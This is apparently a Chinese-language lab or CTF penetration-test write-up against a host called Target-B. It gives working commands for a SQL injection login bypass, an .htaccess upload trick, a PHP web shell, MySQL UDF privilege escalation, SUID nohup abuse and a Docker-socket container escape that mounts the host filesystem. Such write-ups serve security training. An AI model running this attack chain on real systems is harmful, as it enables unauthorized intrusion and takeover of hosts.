Administrator
发布于 2026-03-27 / 1 阅读
0
0

Target-B 渗透测试流程

信息收集阶段

nmap扫描网段:发现目标服务与服务版本

nmap -sV -sT 192.168.112.0/24

发现一个Apache搭建的http服务

nmap扫描漏洞:

nmap -sV --script=vuln 192.168.112.110

dirsearch扫描目录与文件

dirsearch -u http://192.168.112.110

发现存在.index.php.swp文件,文件上传目录,商品浏览文件,网站首页文件,登录文件

发现存在.index.php.swp文件,该文件为vim临时交换文件,是编辑index.php留下的临时文件,输入url下载该文件查看内容

漏洞利用阶段

访问http服务,发现只有一个商品浏览的页面没有什么作用,需要账号密码登录

因为之前发现了.index.php.swp文件,我们尝试访问URL,发现可以下载下来,查看内容发现两个敏感文件

  • db_connect.php数据库配置文件!账号密码全在这

  • waf.php防护规则文件,知道WAF怎么拦截

  • 尝试查看这两个文件发现返回为空

发现存在SQL查询(未编译),可以进行尝试SQL注入绕过登录

通过尝试发现直接注释即可绕过登录

进入网站后发现存在文件上传,并且存在格式限制

尝试用Burp Suite抓包修改文件格式后发现仍然显示格式被限制,说明可能存在双重认证

因为之前信息收集知道该服务是Apache,并且文件目录扫描发现许多.htaccess前缀的文件,所以我们选择上传.htaccess文件来覆盖服务器配置

#文件内容:将所有png格式的文件解析为php文件运行
AddHandler application/x-httpd-php .png

再上传一个.png带有一句话木马的文件

<?php system($_GET["cmd"]);?> #一句话木马

因为之前文件扫描发现了文件上传路径为/uploads,所以尝试访问上传的payload.png文件

#访问url
http://192.168.112.110/uploads/payload.png

发现上传成功,报错原因是system没有给到参数

我们使用一句话木马查看信息

发现在云服务器中服务可能在容器内

发现存在.dockerenv文件确定服务在容器内

发现数据库信息:用户名为root,密码:Kp7mXz2wRn9sLqDf,目标数据库名mirror_shop,容器名:db

拿到了数据库信息,直接尝试远程登录,发现登陆成功

进入目标数据库查看用户信息,拿到flag1:flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

通过对数据库翻找,无法再获得有用的信息,尝试查看数据库拥有的权限,发现是超级管理员权限

查看是否具有UDF提权的条件

  • udf目录:/usr/lib64/mysql/plugin/

  • secure_file_priv:为空或无限制

  • 前面得到了系统架构为64位

使用sqlmap自带的UDF文件

#解压UDF文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \                                   
  -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
  -o /tmp/lib_mysqludf_sys_64.so

#查看文件类型
/tmp/lib_mysqludf_sys_64.so

#转换位16进制
xxd -p /tmp/lib_mysqludf_sys_64.so| tr -d ' \n' > /tmp/udf64_hex.txt

写入UDF文件,创建函数

函数:

  • exec:执行命令,返回退出码

  • eval:执行命令,返回输出结果

# 将16进制内容写入环境变量
UDF_HEX=$(cat /tmp/udf64_hex.txt) 

# 利用环境变量将UDF文件写入plugin目录
mysql -h 192.168.112.110 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \    
  -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"

# 创建函数,这里为了省略步骤,选择eval函数
mysql -h 192.168.112.110 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
  -e "CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"

进入数据库尝试使用函数查询服务器数据,说明该mysql依然是一个容器

查找flag文件

SELECT sys_eval('find / -name *flag* 2>/dev/null');

发现根里有一个flag

查看flag内容没有返回,说明权限不如

SELECT sys_eval('cat /flag');

权限提升阶段

因为仍在容器中,我们需要进行提权,优先查找是否存在SUID文件,如果存在可利用的SUID权限,则可以获取root权限

SELECT sys_eval('find / -perm -u=s -type f');

发现可用SUID文件nohup。

正常情况下该功能不应拥有SUID权限,nohup的功能是在用户退出后,终端依然运行,该权限不需要root权限,所以是配置失误可以利用。

使用nohup的SUID权限读取flag

SELECT sys_eval('/usr/bin/nohup cat /flag');

拿到flag2:flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

我们已经拿到了容器中的两个flag,剩下的一个flag可能存在与宿主机中,我们这时候就需要通过docker逃逸来拿到宿主机中的信息。

因为我们已经通过SUID文件nohup能拿到root权限,现在只需要确定容器内是否存在且能访问/var/run/docker.sock就能通过docker.api创建恶意容器来读取宿主机数据内容。

# 查看/var/run/docker/sock是否存在且能访问
SELECT sys_eval('/usr/bin/nohup ls -la /var/run/docker.sock');

确认docker socket存在

因为需要创建恶意容器来查看宿主机中的数据,首先查看宿主机中有哪些镜像。

# 获取镜像列表
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\"');

发现三个镜像

  • mysql:5.7

  • mirror-shop_web:latest

  • php:7.4-apache

因为mysql:5.7已经存在所以我们选择该镜像创建容器

通过Docker API创建临时容器,挂载宿主机根目录,查找flag

# 创建payload文件
SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_flags.json';

# 查看payload文件
MySQL [(none)]> SELECT sys_eval('cat /tmp/find_flags.json');

创建容器信息:

  • "Image": "mysql:5.7" :使用 mysql:5.7 镜像

  • "Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"] :容器启动后执行 find /host -maxdepth 3 -name flag -type f

  • "Binds": ["/:/host"] :将宿主机的 / 挂载到容器的 /host ,所以查找的是宿主机根中的flag

创建容器

SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\"');

启动容器

SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\"');

读取容器日志

SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\"');

发现宿主机的跟中存在最后的flag3

发现了宿主机中的flag路径,创建Payload

# 创建payload
SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/dockers_payload.json';

# 查看payload
SELECT sys_eval('cat /tmp/dockers_payload.json');

"Image": "mysql:5.7" :使用 mysql:5.7 镜像

"Cmd": ["cat", "/host/flag"] :容器启动后执行 cat /host/flag

"Binds": ["/:/host"] :将宿主机的 / 挂载到容器的 /host

创建容器

# 创建容器
SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/dockers_payload.json http://localhost/containers/create\"');

启动容器

SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\"');

读取日志

SELECT sys_eval('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\"');

拿到flag3:flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}

攻击链总结

渗透流程拓扑图

攻击链

未命名绘图.drawio (1).png


评论